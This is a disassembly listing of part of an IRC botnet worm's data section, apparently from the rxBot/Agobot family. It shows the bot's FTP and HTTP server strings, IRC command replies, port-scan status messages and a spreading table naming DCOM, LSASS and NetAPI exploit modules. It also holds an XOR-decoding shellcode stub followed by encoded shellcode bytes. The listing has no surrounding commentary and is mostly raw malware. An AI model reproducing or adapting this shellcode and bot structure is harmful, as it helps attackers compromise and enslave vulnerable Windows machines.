a200TypeSetToA_	db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o
aA:					; DATA XREF: sub_4053D5+33Do
		unicode	0, <A>,0
aType		db 'TYPE',0             ; DATA XREF: sub_4053D5+326o
					; sub_4053D5+361o
		align 10h
a257IsCurrentDi	db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o
		align 10h
off_42A2D0	dd offset dword_445750	; DATA XREF: sub_4053D5+302o
a350Restarting_	db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o
		align 4
aRest		db 'REST',0             ; DATA XREF: sub_4053D5+2DEo
		align 10h
a215Nzmxftpd	db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo
		align 10h
aSyst		db 'SYST',0             ; DATA XREF: sub_4053D5+2BAo
		align 4
a230UserLoggedI	db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo
		align 10h
aPass		db 'PASS',0             ; DATA XREF: sub_4053D5+296o
		align 4
a331PasswordReq	db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o
		align 10h
aUser_1		db 'USER',0             ; DATA XREF: sub_4053D5+271o
					; ___:0042F834o
		align 4
aSS_1		db '%s %s',0            ; DATA XREF: sub_4053D5+260o
		align 10h
a220Nzmxftpd0wn	db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o
		align 4
aRb		db 'rb',0               ; DATA XREF: sub_405A58+24o
					; sub_406C19+12Eo ...
		align 4
unk_42A36C	db    2			; DATA XREF: sub_405AF2+3F8o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorServerFai	db 'Error: server failed, returned: <%d>.',0
		align 10h
asc_42A3B0	db 0Dh,0Ah,0		; DATA XREF: sub_405AF2+2CFo
		align 4
asc_42A3B4:				; DATA XREF: sub_405AF2+293o
					; sub_40EE72+A8o ...
		unicode	0, < >,0
aGet		db 'GET ',0             ; DATA XREF: sub_405AF2+269o
		align 10h
aHttp1_0200Ok_0	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Content-Length: %i',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
aHttp1_0200OkSe	db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o
		db 'Server: myBot',0Dh,0Ah
		db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah
		db 'pragma: no-cache',0Dh,0Ah
		db 'Content-Type: %s',0Dh,0Ah
		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_405F4D+98o
					; sub_40B8D8+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_405F4D+5Fo
		align 4
unk_42A5D4	db    2			; DATA XREF: sub_4060D0+296o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_42A61C	db    2			; DATA XREF: sub_4060D0+212o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aWorkerThreadOf	db 'Worker thread of server thread: %d.',0
asc_42A65C:				; DATA XREF: sub_4060D0+15Ao
		unicode	0, <*>,0
asc_42A660:				; DATA XREF: sub_4060D0+FBo
					; sub_406387+29o ...
		dw 0Ah
		unicode	0, <>,0
aSS_2		db '%s%s',0             ; DATA XREF: sub_4060D0+EAo
					; sub_406387+4DAo ...
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_4060D0+3Ao
					; sub_40B390+4Co ...
		align 10h
aS_2		db '\%s',0              ; DATA XREF: sub_4060D0+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_406387+652o
		align 4
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_406387+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do
		align 10h
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo
		align 10h
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o
		align 10h
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_406387+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o
		align 4
aSS		db '%s%s/',0            ; DATA XREF: sub_406387+36Co
		align 10h
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+328o
					; sub_406387+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 10h
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_406387+310o
		align 4
aS_0		db '<%s>',0             ; DATA XREF: sub_406387+2E9o
					; sub_406387+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_406387+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_406387+28Ao
		align 4
a__		db '..',0               ; DATA XREF: sub_406387+237o
		align 10h
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_406387+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 10h
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 4
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_406387+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 4
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_42AB14	dd 4000500h, 7868746Bh,	0 ; DATA XREF: sub_406C19+493o
dword_42AB20	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+47Fo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch
		dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah
		dd 2E2973h
unk_42AB74	db    2			; DATA XREF: sub_406C19+3B6o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFileNotFoundSS	db '  File not found: %s (%s).',0
dword_42ABA8	dd 1000500h, 656C6946h,	746F4E20h, 756F4620h, 646Eh
					; DATA XREF: sub_406C19+399o
dword_42ABBC	dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch
					; DATA XREF: sub_406C19+33Eo
		dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h,	20206F74h
		dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h
		dd 3A6F666Eh, 73252820h, 2E29h
unk_42AC04	db    2			; DATA XREF: sub_406C19+15Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToOpenFi	db '  Failed to open file: %s.',0
unk_42AC38	db    2			; DATA XREF: sub_406C19+6Ao
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aErrorSocketF_2	db '  Error: socket() failed, returned: <%d>.',0
		align 4
aOctet		db 'octet',0            ; DATA XREF: sub_406C19+Fo
		align 8
aDcom135_0	db 'dcom135',0          ; DATA XREF: sub_407767+169o
		db 2 dup(0)
aDcom135	db 'Dcom135',0          ; DATA XREF: ___:00405361o
		align 4
		dd 5 dup(0)
dword_42ACB0	dd 87h			; DATA XREF: sub_407110+1Er
					; sub_40EE72+30B3r ...
off_42ACB4	dd offset sub_402DD7	; DATA XREF: sub_407767+1EAr
dword_42ACB8	dd 0			; DATA XREF: sub_402DD7+2E1w
					; sub_402DD7+2E7r ...
dword_42ACBC	dd 1			; DATA XREF: sub_407252+1Fr
dword_42ACC0	dd 0			; DATA XREF: sub_407252:loc_4074C3r
aDcom445	db 'dcom445',0
		dd 63440000h, 34346D6Fh, 35h, 5	dup(0)
		dd 1BDh, 402DD7h, 0
		dd 1, 0
aDcom1025	db 'dcom1025',0
		align 2
aDcom1025_0	db 'Dcom1025',0
		align 4
		dd 5 dup(0)
		dd 401h, 402DD7h, 0
		dd 1, 0
aLsass_445	db 'lsass_445',0
aLsass_445_0	db 'lsass_445',0
		dd 5 dup(0)
		dd 1BDh, 403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0035h, 5F737361h
		dd 353331h, 5 dup(0)
		dd 87h,	403688h, 0
		dd 2 dup(1), 7361736Ch,	33315F73h, 736C0039h, 5F737361h
		dd 393331h, 5 dup(0)
		dd 8Bh,	403688h, 0
		dd 2 dup(1), 346E7361h,	3534h, 73610000h, 6D73316Eh, 62h
		dd 5 dup(0)
		dd 1BDh, 40428Fh, 0
		dd 2 dup(1), 316E7361h,	3933h, 73610000h, 6D73316Eh, 746E62h
		dd 5 dup(0)
		dd 8Bh,	40428Fh, 0
		dd 2 dup(1), 6970616Eh,	353434h, 656E0000h, 69706174h
		dd 353434h, 5 dup(0)
		dd 1BDh, 404F42h, 2 dup(0)
		dd 1, 6970616Eh, 393331h, 656E0000h, 69706174h,	393331h
		dd 5 dup(0)
		dd 8Bh,	404F42h, 2 dup(0)
		dd 1, 6D7973h, 0
		dd 79730000h, 746E616Dh, 6365h,	5 dup(0)
		dd 0B97h, 405088h, 0
		dd 1, 0
		dd 636874h, 0
		dd 68540000h, 6C717363h, 6 dup(0)
		dd 599h, 40527Eh, 0	; CODE XREF: sub_42AF96:loc_42AFABj
		dd 1, 10h dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_42AFA6

; =============== S U B	R O U T	I N E =======================================



sub_42AF96	proc near		; CODE XREF: sub_42AF96:loc_42AFA6p
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_42AF9E:				; CODE XREF: sub_42AF96+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_42AF9E
		jmp	short loc_42AFAB
; ---------------------------------------------------------------------------


loc_42AFA6:				; CODE XREF: ___:0042AF94j
		call	sub_42AF96


loc_42AFAB:				; CODE XREF: sub_42AF96+Ej
		jo	short near ptr dword_42AF44+2
		cwde
		cdq
		cdq
		retn
sub_42AF96	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_407110+82o
		align 4
aSD		db ' %s: %d,',0         ; DATA XREF: sub_407110+42o
		align 4
unk_42B134	db    2			; DATA XREF: sub_407110+11o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aExploitStatist	db '  Exploit Statistics:',0
		align 4
unk_42B168	db    2			; DATA XREF: sub_4071DB+42o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aScanNotActive_	db '  Scan not active.',0
unk_42B198	db    2			; DATA XREF: sub_4071DB+2Co
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aCurrentIpS_	db '  Current IP: %s.',0
		align 4
unk_42B1C8	db    2			; DATA XREF: sub_407252+36Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStartS	db 'Failed to start server, error: <%d>.',0
		align 4
unk_42B20C	db    2			; DATA XREF: sub_407252+307o
					; sub_40EE72+54B7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 68h,	2 dup(74h)
		db  70h	; p
		db 64h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerListenin	db 'Server listening on IP: %s:%d, Directory: %s\.',0
		align 4
dword_42B258	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+267o
		dd 2BBBB02h
aFailedToStar_0	db '  Failed to start server, error: <%d>.',0
		align 4
dword_42B298	dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_407252+1FAo
		dd 2BBBB02h
aServerStartedO	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
unk_42B2E8	db    2			; DATA XREF: sub_407252+149o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_1	db '  Failed to start server, error: <%d>.',0
unk_42B328	db    2			; DATA XREF: sub_407252+DBo
					; sub_40EE72+5341o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 74h,	66h, 74h
		db  70h	; p
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aServerStarte_0	db '  Server started on Port: %d, File: %s, Request: %s.',0
		align 4
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_40762E+38o
					; sub_40AEE0+46o
unk_42B384	db    2			; DATA XREF: sub_407767+EEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSPortDIsOpen	db '  IP: %s, Port %d is open.',0
unk_42B3BC	db    2			; DATA XREF: sub_407767+93o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aIpSDScanThread	db '  IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 4
unk_42B408	db    2			; DATA XREF: sub_40797F+1CEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFinishedAtSDAf	db '  Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_42B45C	db    2			; DATA XREF: sub_40797F+173o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_2	db '  Failed to start worker thread, error: <%d>.',0
		align 4
unk_42B4A8	db    2			; DATA XREF: sub_40797F+103o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aSDScanThreadDS	db '  %s:%d, Scan thread: %d, Sub-thread: %d.',0
		align 10h
unk_42B4F0	db    2			; DATA XREF: sub_40797F+87o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 70h,	6Fh, 72h
		db  74h	; t
		db 73h,	63h, 61h
		db  6Eh	; n
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToInitia	db '  Failed to initialize critical section.',0
		align 4
unk_42B538	db    2			; DATA XREF: sub_407BDE+156o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStartC	db '   Failed to start client thread, error: <%d>.',0
unk_42B584	db    2			; DATA XREF: sub_407BDE+E1o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnecti	db '   Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B5DC	db    2			; DATA XREF: ___:00407F10o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aFailedToStar_3	db '   Failed to start connection thread, error: <%d>.',0
unk_42B62C	db    2			; DATA XREF: ___:00407E47o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 72h,	65h, 64h
		db  69h	; i
		db 72h,	65h, 63h
		db  74h	; t
		db 2Eh,	70h, 1Fh
		db  6Ch	; l
		db 1Fh,	67h, 29h
		db  20h
		db 2, 2	dup(0BBh)
		db    2
aClientConnec_0	db '   Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_42B680	db    2			; DATA XREF: sub_407FEA+1B2o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_4	db 'Failed to start server on Port %d.',0
		align 10h
unk_42B6C0	db    2			; DATA XREF: sub_407FEA+18Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aFailedToStar_5	db 'Failed to start client thread, error: <%d>.',0
unk_42B708	db    2			; DATA XREF: sub_407FEA+114o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aClientConnec_1	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_42B75C	db    2			; DATA XREF: sub_407FEA+A8o
					; sub_40EE72+5E20o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aServerStarte_1	db 'Server started on: %s:%d.',0
		align 4
unk_42B794	db    2			; DATA XREF: sub_407FEA+3FEo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToC	db 'Error: Failed to connect to target, returned: <%d>.',0
unk_42B7E4	db    2			; DATA XREF: sub_407FEA+38Fo
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aErrorFailedToO	db 'Error: Failed to open socket(), returned: <%d>.',0
unk_42B830	db    2			; DATA XREF: sub_407FEA+2F7o
		db 6Eh,	2, 7Ah
		db  1Fh
		db 6Dh,	1Fh, 20h
		db  28h	; (
		db 73h,	6Fh, 63h
		db  6Bh	; k
		db 73h,	2Eh, 70h
		db  1Fh
		db 6Ch,	1Fh, 67h
		db  29h	; )
		db 20h,	2, 0BBh
		db 0BBh	; 
		db 2, 2	dup(20h)
aAuthentication	db 'Authentication failed. Remote userid: %s != %s.',0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4085B3+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4087EE+23o
					; sub_4089E7+26o
		align 10h
		dd 80000001h
off_42B894	dd offset aSoftwareValveC ; DATA XREF: sub_408C26+Cr
					; sub_408C26+21o
